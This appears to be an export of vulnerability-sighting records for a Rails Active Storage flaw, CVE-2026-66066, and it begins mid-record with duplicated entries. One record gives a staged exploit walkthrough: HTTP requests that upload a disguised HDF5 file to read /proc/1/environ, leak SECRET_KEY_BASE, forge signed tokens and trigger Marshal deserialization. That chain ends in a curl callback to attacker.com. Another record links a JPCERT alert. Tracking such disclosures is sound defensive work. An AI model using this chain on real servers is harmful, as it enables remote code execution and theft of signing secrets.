Token\n\nNow the PoC computes\n\n```\nHMAC(secret,\n serialized Ruby Marshal payload)\n```\n\ncreating a valid Rails signed token.\n\nThis is equivalent to forging a legitimate\n\n```\nvariation_key\n```\n\nfor Active Storage.\n\n---\n\n## Stage 8 \u2013 Final Trigger\n\n```\nGET /rails/active_storage/representations/redirect//safe.png\n```\n\nThis time Rails trusts the forged token because it is correctly signed with the recovered `SECRET_KEY_BASE`.\n\nRails deserializes the embedded Ruby Marshal object.\n\n---\n\n## Stage 9 \u2013 Code Execution\n\nThe Marshal object eventually invokes\n\n```\nMiniMagick::Tool\n```\n\nconfigured as\n\n```\n/usr/bin/curl\n```\n\nwith arguments similar to\n\n```\ncurl \\\n --silent \\\n --show-error \\\n --max-time 8 \\\n --output /dev/null \\\n http://attacker.com/callback\n```\n\nThe outbound callback proves code execution without returning sensitive data.\n\n---\n\n# Complete Burp Flow\n\n```text\nGET /\n \u2502\n \u25bc\nReceive CSRF Token\n \u2502\n \u25bc\nPOST /uploads\n \u2502\n \u25bc\nReceive Representation URL\n \u2502\n \u25bc\nPOST /rails/active_storage/direct_uploads\n \u2502\n \u25bc\nReceive signed_id + upload URL\n \u2502\n \u25bc\nPUT malicious BMP\n \u2502\n \u25bc\nGET representation(profile.bmp)\n \u2502\n \u25bc\nlibvips reads /proc/1/environ\n \u2502\n \u25bc\nSECRET_KEY_BASE leaked\n \u2502\n \u25bc\nForge Rails signed token\n \u2502\n \u25bc\nGET representation(forged token)\n \u2502\n \u25bc\nMarshal Deserialization\n \u2502\n \u25bc\nMiniMagick::Tool\n \u2502\n \u25bc\ncurl attacker callback\n```\n\n# Vulnerability Chain\n\nThis is **not a single vulnerability**, but a chained exploit:\n\n1. **Arbitrary file read** via libvips external HDF5 dataset (`/proc/1/environ`).\n2. **Leak of `SECRET_KEY_BASE`** from the Rails process environment.\n3. **Forgery of Active Storage signed variation tokens** using the leaked secret.\n4. **Unsafe Ruby Marshal deserialization** of the forged variation.\n5. **Command execution** through the `MiniMagick::Tool` gadget (demonstrated with an outbound `curl` callback).\n\n\n### Ref. PoC: \n- https://github.com/Zer0SumGam3/CVE-2026-66066-POC/blob/main/rails_vips_oast_poc.py", "creation_timestamp": "2026-07-31T06:35:16.226869Z"} {"uuid": "29d32733-a4a5-44b7-903c-7fb4494c7a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/a32077/fc44f28edcb5e15217afb29e89d4fd11", "content": "## Stage 1 \u2013 Visit Upload Page (Get CSRF)\n\n```\nGET / HTTP/1.1\nHost: victim.com\n```\n\nResponse\n\n```html\n\n```\n\nExtract the CSRF token.\n\n---\n\n## Stage 2 \u2013 Upload a Normal PNG\n\nThe PoC first uploads a harmless PNG.\n\n```\nPOST /uploads HTTP/1.1\nHost: victim.com\nContent-Type: multipart/form-data; boundary=----\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"authenticity_token\"\n\nCSRF_TOKEN\n------BOUNDARY\nContent-Disposition: form-data;\n name=\"upload[avatar]\";\n filename=\"safe.png\"\n\n\n------BOUNDARY--\n```\n\nResponse\n\n```\nHTTP/1.1 200 OK\n```\n\nInside HTML:\n\n```html\n\n```\n\nThis representation URL becomes important later.\n\n---\n\n## Stage 3 \u2013 Create Direct Upload\n\nRails Active Storage allows JavaScript clients to upload files directly.\n\n```\nPOST /rails/active_storage/direct_uploads HTTP/1.1\n\nContent-Type: application/json\nX-CSRF-Token: CSRF_TOKEN\n\n{\n \"blob\":{\n \"filename\":\"profile.bmp\",\n \"byte_size\":12345,\n \"checksum\":\"....\",\n \"content_type\":\"image/bmp\"\n }\n}\n```\n\nResponse\n\n```json\n{\n \"signed_id\":\"eyJ...\",\n \"direct_upload\":{\n \"url\":\"/rails/active_storage/disk/....\",\n \"headers\":{\n \"Content-Type\":\"image/bmp\"\n }\n }\n}\n```\n\nNow the attacker has:\n\n* upload URL\n* signed blob ID\n\n---\n\n## Stage 4 \u2013 Upload the Malicious BMP\n\nThis is **not really a BMP**.\n\nIt is actually\n\n```\nMATLAB\n +\nHDF5\n +\nExternal Dataset\n +\nEmbedded Ruby Marshal Payload\n```\n\nUploaded with\n\n```\nPUT /rails/active_storage/disk/... HTTP/1.1\n\nContent-Type: image/bmp\n\n\n```\n\nResponse\n\n```\n204 No Content\n```\n\n---\n\n## Stage 5 \u2013 Trigger Image Processing\n\nNow the representation URL is modified to use the uploaded blob.\n\n```\nGET /rails/active_storage/representations/redirect//profile.bmp\n```\n\nAt this point Rails asks **libvips** to process the image.\n\nInstead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.\n\nThe HDF5 file contains an **External Dataset** pointing to\n\n```\n/proc/1/environ\n```\n\nSo libvips loads\n\n```\n/proc/1/environ\n```\n\ninstead of image pixels.\n\n---\n\n## Stage 6 \u2013 Information Disclosure\n\nThe response is still a PNG image.\n\nHowever its pixels now contain the contents of\n\n```\n/proc/1/environ\n```\n\nThe PoC parses the returned PNG.\n\nInside the pixels it extracts\n\n```\nSECRET_KEY_BASE=xxxxxxxxxxxxxxxx\n```\n\nThis is the Rails signing secret.\n\n---\n\n## Stage 7 \u2013 Forge Active Storage Token\n\nNow the PoC computes\n\n```\nHMAC(secret,\n serialized Ruby Marshal payload)\n```\n\ncreating a valid Rails signed token.\n\nThis is equivalent to forging a legitimate\n\n```\nvariation_key\n```\n\nfor Active Storage.\n\n---\n\n## Stage 8 \u2013 Final Trigger\n\n```\nGET /rails/active_storage/representations/redirect//safe.png\n```\n\nThis time Rails trusts the forged token because it is correctly signed with the recovered `SECRET_KEY_BASE`.\n\nRails deserializes the embedded Ruby Marshal object.\n\n---\n\n## Stage 9 \u2013 Code Execution\n\nThe Marshal object eventually invokes\n\n```\nMiniMagick::Tool\n```\n\nconfigured as\n\n```\n/usr/bin/curl\n```\n\nwith arguments similar to\n\n```\ncurl \\\n --silent \\\n --show-error \\\n --max-time 8 \\\n --output /dev/null \\\n http://attacker.com/callback\n```\n\nThe outbound callback proves code execution without returning sensitive data.\n\n---\n\n# Complete Burp Flow\n\n```text\nGET /\n \u2502\n \u25bc\nReceive CSRF Token\n \u2502\n \u25bc\nPOST /uploads\n \u2502\n \u25bc\nReceive Representation URL\n \u2502\n \u25bc\nPOST /rails/active_storage/direct_uploads\n \u2502\n \u25bc\nReceive signed_id + upload URL\n \u2502\n \u25bc\nPUT malicious BMP\n \u2502\n \u25bc\nGET representation(profile.bmp)\n \u2502\n \u25bc\nlibvips reads /proc/1/environ\n \u2502\n \u25bc\nSECRET_KEY_BASE leaked\n \u2502\n \u25bc\nForge Rails signed token\n \u2502\n \u25bc\nGET representation(forged token)\n \u2502\n \u25bc\nMarshal Deserialization\n \u2502\n \u25bc\nMiniMagick::Tool\n \u2502\n \u25bc\ncurl attacker callback\n```\n\n# Vulnerability Chain\n\nThis is **not a single vulnerability**, but a chained exploit:\n\n1. **Arbitrary file read** via libvips external HDF5 dataset (`/proc/1/environ`).\n2. **Leak of `SECRET_KEY_BASE`** from the Rails process environment.\n3. **Forgery of Active Storage signed variation tokens** using the leaked secret.\n4. **Unsafe Ruby Marshal deserialization** of the forged variation.\n5. **Command execution** through the `MiniMagick::Tool` gadget (demonstrated with an outbound `curl` callback).\n\n\n### Ref. PoC: \n- https://github.com/Zer0SumGam3/CVE-2026-66066-POC/blob/main/rails_vips_oast_poc.py", "creation_timestamp": "2026-07-31T06:35:16.226869Z"} https://vulnerability.circl.lu/sighting/29d32733-a4a5-44b7-903c-7fb4494c7a0d/export Fri, 31 Jul 2026 06:35:16 +0000 https://vulnerability.circl.lu/sighting/38a83193-ae2e-416b-a6f9-262b70c32810/export {"uuid": "38a83193-ae2e-416b-a6f9-262b70c32810", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mrwa435ib2ut", "content": "Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77 https://www.jpcert.or.jp/at/2026/at260021.html", "creation_timestamp": "2026-07-31T05:33:00.610775Z"} {"uuid": "38a83193-ae2e-416b-a6f9-262b70c32810", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mrwa435ib2ut", "content": "Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77 https://www.jpcert.or.jp/at/2026/at260021.html", "creation_timestamp": "2026-07-31T05:33:00.610775Z"} https://vulnerability.circl.lu/sighting/38a83193-ae2e-416b-a6f9-262b70c32810/export Fri, 31 Jul 2026 05:33:00 +0000